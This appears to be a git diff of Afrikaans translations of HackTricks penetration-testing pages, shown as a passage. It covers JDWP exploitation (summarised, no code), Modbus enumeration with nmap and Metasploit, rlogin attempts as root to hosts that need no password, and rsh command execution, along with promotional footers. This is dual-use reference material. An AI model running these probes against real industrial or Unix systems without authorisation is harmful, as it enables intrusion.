- JDWP laat die laai en aanroep van arbitrêre klasse en bytecode toe, wat sekuriteitsrisiko's inhou.
|
||||
- Die artikel beskryf 'n eksploitering proses in vyf stappe, wat die verkryging van Java Runtime verwysings, die instelling van breekpunte, en die aanroep van metodes insluit.
|
||||
|
||||
5. **Uitbuiting in die werklike lewe**:
|
||||
- Ten spyte van potensiële firewall-beskerming is JDWP-dienste ontdekbaar en uitbuitbaar in werklike scenario's, soos gedemonstreer deur soektogte op platforms soos ShodanHQ en GitHub.
|
||||
- Die uitbuitingsskrips is getoets teen verskillende JDK-weergawes en is platform-onafhanklik, en bied betroubare afstandsbeheeruitvoering (RCE).
|
||||
5. **Regte Lewe Eksploitering**:
|
||||
- Ten spyte van potensiële firewall beskermings, is JDWP dienste ontdekbaar en eksploteerbaar in werklike scenario's, soos gedemonstreer deur soektogte op platforms soos ShodanHQ en GitHub.
|
||||
- Die eksploit skrip is getoets teen verskeie JDK weergawes en is platform-onafhanklik, wat betroubare Remote Code Execution (RCE) bied.
|
||||
|
||||
6. **Sekuriteitsimplikasies**:
|
||||
- Die teenwoordigheid van oop JDWP-dienste op die internet beklemtoon die noodsaaklikheid van gereelde sekuriteitsondersoeke, die deaktivering van foutopsporingsfunksies in produksie en behoorlike firewall-konfigurasies.
|
||||
- Die teenwoordigheid van oop JDWP dienste op die internet beklemtoon die behoefte aan gereelde sekuriteitshersienings, die deaktivering van debug funksies in produksie, en behoorlike firewall konfigurasies.
|
||||
|
||||
|
||||
### **Verwysings:**
|
||||
### **References:**
|
||||
|
||||
* [[https://ioactive.com/hacking-java-debug-wire-protocol-or-how/](https://ioactive.com/hacking-java-debug-wire-protocol-or-how/)]
|
||||
* [https://github.com/IOActive/jdwp-shellifier](https://github.com/IOActive/jdwp-shellifier)
|
||||
|
@ -71,16 +72,17 @@ Ek het gevind dat die gebruik van `--break-on 'java.lang.String.indexOf'` die ui
|
|||
* [http://docs.oracle.com/javase/1.5.0/docs/guide/jpda/jdwp/jdwp-protocol.html](http://docs.oracle.com/javase/1.5.0/docs/guide/jpda/jdwp/jdwp-protocol.html)
|
||||
* [http://nmap.org/nsedoc/scripts/jdwp-exec.html](http://nmap.org/nsedoc/scripts/jdwp-exec.html)
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
Ander maniere om HackTricks te ondersteun:
|
||||
|
||||
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat**, kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Deel jou hacktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-repos.
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,83 +1,45 @@
|
|||
{% hint style="success" %}
|
||||
Leer & oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Ondersteun HackTricks</summary>
|
||||
|
||||
Ander maniere om HackTricks te ondersteun:
|
||||
|
||||
* As jy jou **maatskappy geadverteer wil sien in HackTricks** of **HackTricks in PDF wil aflaai**, kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Deel jou hacktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-repos.
|
||||
* Kyk na die [**subskripsieplanne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
|
||||
# Basiese Inligting
|
||||
|
||||
In 1979 is die **Modbus-protokol** ontwikkel deur Modicon en dien as 'n boodskapstruktuur. Dit word hoofsaaklik gebruik om kommunikasie tussen intelligente toestelle te fasiliteer, wat werk volgens 'n meester-slaaf/kliënt-bedienermodel. Hierdie protokol speel 'n belangrike rol in die effektiewe uitruil van data tussen toestelle.
|
||||
In 1979 is die **Modbus Protokol** deur Modicon ontwikkel, wat as 'n boodskapstruktuur dien. Die primêre gebruik daarvan behels die fasilitering van kommunikasie tussen intelligente toestelle, wat onder 'n meester-slaaf/klient-bediener model werk. Hierdie protokol speel 'n belangrike rol in die effektiewe uitruil van data tussen toestelle.
|
||||
|
||||
**Verstekpoort:** 502
|
||||
**Standaard poort:** 502
|
||||
```
|
||||
PORT STATE SERVICE
|
||||
502/tcp open modbus
|
||||
```
|
||||
# Opname
|
||||
|
||||
## Modbus
|
||||
|
||||
Modbus is 'n kommunikasieprotokol wat gebruik word vir die kommunikasie tussen industriële beheerstelsels en toestelle. Dit is 'n oop protokol en word dikwels gebruik in industriële omgewings soos fabrieke en kragstasies.
|
||||
|
||||
### Modbus TCP
|
||||
|
||||
Modbus TCP is 'n uitbreiding van die Modbus-protokol wat gebruik maak van TCP/IP-verbindinge. Dit maak gebruik van die TCP-poort 502 vir kommunikasie.
|
||||
|
||||
Om Modbus TCP te ondersoek, kan jy die volgende stappe volg:
|
||||
|
||||
1. Identifiseer die IP-adres van die Modbus TCP-bedieners.
|
||||
2. Skandeer die TCP-poort 502 om aktiewe Modbus TCP-bedieners te vind.
|
||||
3. Identifiseer die Modbus-eenheid-ID's wat deur die bedieners gebruik word.
|
||||
4. Voer 'n Modbus-leesoperasie uit om data van die bedieners te onttrek.
|
||||
5. Analiseer die verkrygde data om inligting oor die bedieners en hul funksies te verkry.
|
||||
|
||||
### Modbus RTU
|
||||
|
||||
Modbus RTU is 'n ander uitbreiding van die Modbus-protokol wat gebruik maak van seriële kommunikasie. Dit maak gebruik van RS-232 of RS-485-verbindinge.
|
||||
|
||||
Om Modbus RTU te ondersoek, kan jy die volgende stappe volg:
|
||||
|
||||
1. Identifiseer die seriële poorte wat gebruik word vir Modbus RTU-kommunikasie.
|
||||
2. Skandeer die poorte om aktiewe Modbus RTU-toestelle te vind.
|
||||
3. Identifiseer die Modbus-eenheid-ID's wat deur die toestelle gebruik word.
|
||||
4. Voer 'n Modbus-leesoperasie uit om data van die toestelle te onttrek.
|
||||
5. Analiseer die verkrygde data om inligting oor die toestelle en hul funksies te verkry.
|
||||
|
||||
### Modbus ASCII
|
||||
|
||||
Modbus ASCII is 'n ander uitbreiding van die Modbus-protokol wat gebruik maak van ASCII-karakters vir kommunikasie. Dit maak gebruik van RS-232-verbindinge.
|
||||
|
||||
Om Modbus ASCII te ondersoek, kan jy die volgende stappe volg:
|
||||
|
||||
1. Identifiseer die seriële poorte wat gebruik word vir Modbus ASCII-kommunikasie.
|
||||
2. Skandeer die poorte om aktiewe Modbus ASCII-toestelle te vind.
|
||||
3. Identifiseer die Modbus-eenheid-ID's wat deur die toestelle gebruik word.
|
||||
4. Voer 'n Modbus-leesoperasie uit om data van die toestelle te onttrek.
|
||||
5. Analiseer die verkrygde data om inligting oor die toestelle en hul funksies te verkry.
|
||||
```bash
|
||||
nmap --script modbus-discover -p 502 <IP>
|
||||
msf> use auxiliary/scanner/scada/modbusdetect
|
||||
msf> use auxiliary/scanner/scada/modbus_findunitid
|
||||
```
|
||||
{% hint style="success" %}
|
||||
Leer & oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Opleiding AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Opleiding GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Ondersteun HackTricks</summary>
|
||||
|
||||
Ander maniere om HackTricks te ondersteun:
|
||||
|
||||
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat**, kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Deel jou hacking-truuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-opslagplekke.
|
||||
* Kyk na die [**subskripsieplanne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,18 +1,19 @@
|
|||
# 513 - Pentesting Rlogin
|
||||
|
||||
{% hint style="success" %}
|
||||
Leer & oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Leer AWS-hacking vanaf nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
Ander maniere om HackTricks te ondersteun:
|
||||
|
||||
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling van eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Deel jou haktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
|
||||
* Kyk na die [**subskripsie planne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
|
@ -21,9 +22,9 @@ Ander maniere om HackTricks te ondersteun:
|
|||
|
||||
## Basiese Inligting
|
||||
|
||||
In die verlede is **rlogin** wyd gebruik vir afgeleë administrasietake. Tans is dit egter grootliks vervang deur **slogin** en **ssh** as gevolg van bekommernisse oor sy veiligheid. Hierdie nuwer metodes bied verbeterde veiligheid vir afgeleë verbindinge.
|
||||
In die verlede was **rlogin** wyd gebruik vir afstandsadministrasietake. egter, as gevolg van bekommernisse oor die sekuriteit daarvan, is dit grootliks vervang deur **slogin** en **ssh**. Hierdie nuwer metodes bied verbeterde sekuriteit vir afstandskonneksies.
|
||||
|
||||
**Verstekpoort:** 513
|
||||
**Standaard poort:** 513
|
||||
```
|
||||
PORT STATE SERVICE
|
||||
513/tcp open login
|
||||
|
@ -33,7 +34,7 @@ PORT STATE SERVICE
|
|||
# Install client
|
||||
apt-get install rsh-client
|
||||
```
|
||||
Jy kan die volgende bevel gebruik om te probeer om **in te teken** by 'n afgeleë gasheer waar **geen wagwoord** vir toegang benodig word. Probeer **root** as gebruikersnaam te gebruik:
|
||||
U kan die volgende opdrag gebruik om te probeer om aan te **meld** by 'n afstandshost waar **geen wagwoord** vereis word vir toegang nie. Probeer om **root** as gebruikersnaam te gebruik:
|
||||
```bash
|
||||
rlogin <IP> -l <username>
|
||||
```
|
||||
|
@ -48,16 +49,17 @@ find / -name .rhosts
|
|||
{% embed url="https://websec.nl/" %}
|
||||
|
||||
|
||||
{% hint style="success" %}
|
||||
Leer & oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Opleiding AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Opleiding GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Leer AWS-hacking vanaf nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Ondersteun HackTricks</summary>
|
||||
|
||||
Ander maniere om HackTricks te ondersteun:
|
||||
|
||||
* As jy jou **maatskappy geadverteer wil sien in HackTricks** of **HackTricks in PDF wil aflaai** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Deel jou haktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
|
||||
* Kyk na die [**subskripsie planne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,28 +1,29 @@
|
|||
# 514 - Pentesting Rsh
|
||||
|
||||
{% hint style="success" %}
|
||||
Leer & oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Ondersteun HackTricks</summary>
|
||||
|
||||
Ander maniere om HackTricks te ondersteun:
|
||||
|
||||
* As jy jou **maatskappy geadverteer wil sien in HackTricks** of **HackTricks in PDF wil aflaai**, kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Deel jou hacktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-repos.
|
||||
* Kyk na die [**subskripsieplanne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## Basiese Inligting
|
||||
|
||||
Vir outentifikasie is **.rhosts**-lêers saam met **/etc/hosts.equiv** gebruik deur **Rsh**. Outentifikasie was afhanklik van IP-adresse en die Domain Name System (DNS). Die maklikheid van IP-adresvervalsing, veral op die plaaslike netwerk, was 'n beduidende kwesbaarheid.
|
||||
Vir outentisering is **.rhosts** lêers saam met **/etc/hosts.equiv** deur **Rsh** gebruik. Outentisering was afhanklik van IP-adresse en die Domeinnaamstelsel (DNS). Die gemak van IP-adresse te vervals, veral op die plaaslike netwerk, was 'n beduidende kwesbaarheid.
|
||||
|
||||
Verder was dit algemeen dat die **.rhosts**-lêers binne die tuisgids van gebruikers geplaas is, wat dikwels op Network File System (NFS)-volumes geleë was.
|
||||
Boonop was dit algemeen dat die **.rhosts** lêers in die tuisgidsen van gebruikers geplaas is, wat dikwels op Netwerklêerstelsels (NFS) volumes geleë was.
|
||||
|
||||
**Verstekpoort**: 514
|
||||
**Standaard poort**: 514
|
||||
|
||||
## Aanteken
|
||||
## Teken in
|
||||
```
|
||||
rsh <IP> <Command>
|
||||
rsh <IP> -l domain\user <Command>
|
||||
|
@ -34,16 +35,17 @@ rsh domain\\user@<IP> <Command>
|
|||
## Verwysings
|
||||
* [https://www.ssh.com/ssh/rsh](https://www.ssh.com/ssh/rsh)
|
||||
|
||||
{% hint style="success" %}
|
||||
Leer & oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Ondersteun HackTricks</summary>
|
||||
|
||||
Ander maniere om HackTricks te ondersteun:
|
||||
|
||||
* As jy jou **maatskappy geadverteer wil sien in HackTricks** of **HackTricks in PDF wil aflaai**, kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Deel jou haktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-repos.
|
||||
* Kyk na die [**subskripsie planne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
Loading…
Reference in a new issue